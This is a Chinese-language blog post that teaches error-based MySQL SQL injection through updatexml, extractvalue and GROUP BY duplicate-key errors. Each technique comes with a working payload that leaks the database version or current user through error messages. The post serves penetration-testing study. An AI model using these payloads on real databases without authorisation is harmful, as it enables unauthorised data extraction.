MySQL显错注入

一,updatexml函数

函数简介

UpdateXML(xml_target, xpath_expr, new_xml)

  • xml_target xml文档片段
  • xpath_expr 匹配修改内容的Xpath表达式
  • new_xml 新的xml片段

该函数将XML标记xml_target的给定片段的单个部分替换为新的XML片段new_xml,然后返回更改后的XML。被替换的xml_target部分与用户提供的XPath表达式xpath_expr匹配。
说白了,就是用来修改xml文档的内容

报错原理

因为xpath_expr参数必须是遵守Xpath语法的Xpath表达式,当该参数的值不满足Xpath语法时就会触发错误。
例如:
select updatexml(1,(select @@version),1);

可以看到数据库返回了错误信息,其中包含具体的参数值。但是这里的并不是我们想要的完整值。因为值的前一部分满足了Xpath语法,错误信息只返回了不满足语法而触发错误的部分。
因此updatexml函数常常结合concat函数一起使用,在参数值前拼接一个不满足Xpath语法的字符来获取完整数据。
例如:
select updatexml(1,(concat(0x7c,(select @@version))),1);

二,extractvalue函数

函数简介

ExtractValue(xml_frag, xpath_expr)

  • xml_frag xml文档片段
  • xpath_expr 匹配提取目标的Xpath表达式

ExtractValue()接受两个字符串参数,一个XML标记xml_frag片段和一个XPath表达式xpath_expr(也称为定位器);它返回第一个文本节点的文本(CDATA),该文本节点是元素或与XPath表达式匹配的元素的子元素。
根据xpath_expr提供的表达式在xml_frag中匹配对应的节点并返回其元素或子元素。(从xml文档提取数据)

报错原理

与updatexml一样xpath_expr参数的值需要满足Xpath语法。
例如:
select extractvalue(1,concat(0x7c,(select user())));

三,GROUP BY重复键冲突

原理

参考:https://www.cnblogs.com/richardlee97/p/10617115.html
https://www.cnblogs.com/wangtanzhi/p/12577891.html#autoid-1-8-0

floor函数触发错误

select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a;

left函数触发错误

select concat(left(rand(),3),'^',(select version()),'^')a,count(*) from information_schema.tables group by a
注:添加‘^’是为了区分函数产生的随机值和返回的数据

还有类似left或floor也能触发,比如round这里不再列举

不依赖具体的表

select concat('',user(),'',floor(rand()*2))x,count(*) from (select 1 union select null union select !1)a group by x;

注:此方法有概率不会触发错误,请多次尝试

不使用rand() count()函数

select min(@a:=1) from information_schema.tables group by concat('',user(),'',@a:=(@a+1)%2);

不依赖额外的函数和具体的表

select min(@a:=1) from (select 1 union select null union select !1)a group by concat('',user(),'',@a:=(@a+1)%2);

posted @ 2020-08-19 20:11  爱十三的柒  阅读(324)  评论(0编辑  收藏  举报